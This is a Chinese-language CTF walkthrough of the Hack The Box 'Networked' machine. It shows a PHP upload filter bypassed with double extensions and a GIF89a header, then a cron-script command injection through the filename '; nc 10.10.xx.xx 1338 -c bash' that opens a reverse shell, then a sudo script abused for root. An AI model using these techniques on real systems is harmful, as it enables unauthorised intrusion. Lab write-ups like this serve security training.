• 【Hack The Box】linux练习-- Networked


    HTB 学习笔记

    Hack The Box】linux练习-- Networked


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月17日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
    | ssh-hostkey:
    |   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
    |   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
    |_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
    80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
    |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
    |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
    443/tcp closed https
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在这里插入图片描述先开始目录爆破
    得到

    backup
    /upload.php
    
    • 1
    • 2

    进去backup之后有一个bachup.tar
    在这里插入图片描述下载下来
    发现里面是各种php文件,里面有着php的上传运行逻辑
    我们可以使用php -a模拟运行一下
    在这里插入图片描述
    不过我觉得这种方法其实不太高效,我们可以不断尝试,因为都会有上传失败提醒

    php > $filename="image.png";
    php > $pieces = explode('.',$filename); print_r($pieces);
    Array
    (
        [0] => image
        [1] => png
    )
    php > $name= array_shift($pieces); echo $name;
    image
    php > $name = str_replace('_','.',$name); echo $name;
    image
    php > $ext = implode('.',$pieces); echo $ext;
    png
    
    
    php > $filename="image.php.png";
    php > $pieces = explode('.',$filename); print_r($pieces);
    Array
    (
        [0] => image
        [1] => php
        [2] => png
    )
    php > $name= array_shift($pieces); echo $name;
    image
    php > $name = str_replace('_','.',$name); echo $name;
    image
    php > $ext = implode('.',$pieces); echo $ext;
    php.png
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    这样可以验证我们通过了用户名验证
    即使用了双后缀绕过的方法
    所以我们只需要做一个shell.php变成shell.php.png即可
    在这里插入图片描述
    但是没成功

    在这里插入图片描述这里不知道原因,我觉得应该是靶场的问题

    图片注入

    GIF89a
    在我们的php文件头加上一个jpeg识别头部
    就可以上传成功,而后去/upload.php 点击我们上传的php即可反弹shell

    提权

    先查看自己周边环境

    bash-4.2$ ls -l
    total 12
    -r--r--r--. 1 root root 782 Oct 30  2018 check_attack.php
    -rw-r--r--  1 root root  44 Oct 30  2018 crontab.guly
    -r--------. 1 guly guly  33 Oct 30  2018 user.txt
    
    • 1
    • 2
    • 3
    • 4
    • 5

    发现就在自己文件夹中就有可以文件,cron是计划任务

    crontab.guly显示将运行的配置 php /home/guly/check_attack.php每 3 分钟:

    <?php
    require '/var/www/html/lib.php';
    $path = '/var/www/html/uploads/';
    $logpath = '/tmp/attack.log';
    $to = 'guly';
    $msg= '';
    $headers = "X-Mailer: check_attack.php\r\n";
    
    $files = array();
    $files = preg_grep('/^([^.])/', scandir($path));
    
    foreach ($files as $key => $value) {
            $msg='';
      if ($value == 'index.html') {
            continue;
      }
      #echo "-------------\n";
    
      #print "check: $value\n";
      list ($name,$ext) = getnameCheck($value);
      $check = check_ip($name,$value);
    
      if (!($check[0])) {
        echo "attack!\n";
        # todo: attach file
        file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
    
        exec("rm -f $logpath");
        exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
        echo "rm -f $path$value\n";
        mail($to, $msg, $msg, $headers, "-F$value");
      }
    }
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    别的先不看,就看exec命令执行函数
    里面引入了变量,所以我们只需要让path指向我们的恶意payload即可

    $path = ‘/var/www/html/uploads/’;是已知的,所以我们只要创建一个名称是“;”
    的文件然后里面放入bash命令,我们就可以执行命令

    touch '; nc 10.10.xx.xx 1338 -c bash'
    
    • 1

    再等了一会之后,我们得到了 shell guly:

    为 guly我检查了 sudo -l并发现 guly能跑 /usr/local/sbin/changename.sh作为没有密码的 root 用户:

    [guly@networked ~]$ sudo -l
    Matching Defaults entries for guly on networked:
        !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
        env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
        env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
        env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
        env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
        env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
        secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
    
    User guly may run the following commands on networked:
        (root) NOPASSWD: /usr/local/sbin/changename.sh
    [guly@networked ~]$ 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    [guly@networked ~]$ sudo /usr/local/sbin/changename.sh
    interface NAME:
    test
    interface PROXY_METHOD:
    test
    interface BROWSER_ONLY:
    test
    interface BOOTPROTO:
    test
    ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    我将在第一个选项输入bash

    这种带选项的高权限一般可以这么搞
    或者直接命令执行

  • 相关阅读:
    微信照片过期打不开怎么办?用这个办法可找回
    禁用360浏览器自动填充用户数据
    一键批量剪辑:视频随机分割新玩法,高效剪辑不再难
    建造者模式 rust和java的实现
    卫星/RedCap/高算力/解决方案/创新金奖……移远通信为IOTE 2023再添新活力
    Adaptive Graph Convolutional Recurrent Network for Traffic Forecasting 论文理解+机翻
    Java面试题目大汇总(附参考答案)
    this的指向
    【软考系统架构设计师】2022年系统架构师综合知识真题及解析
    kafka----5
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127932070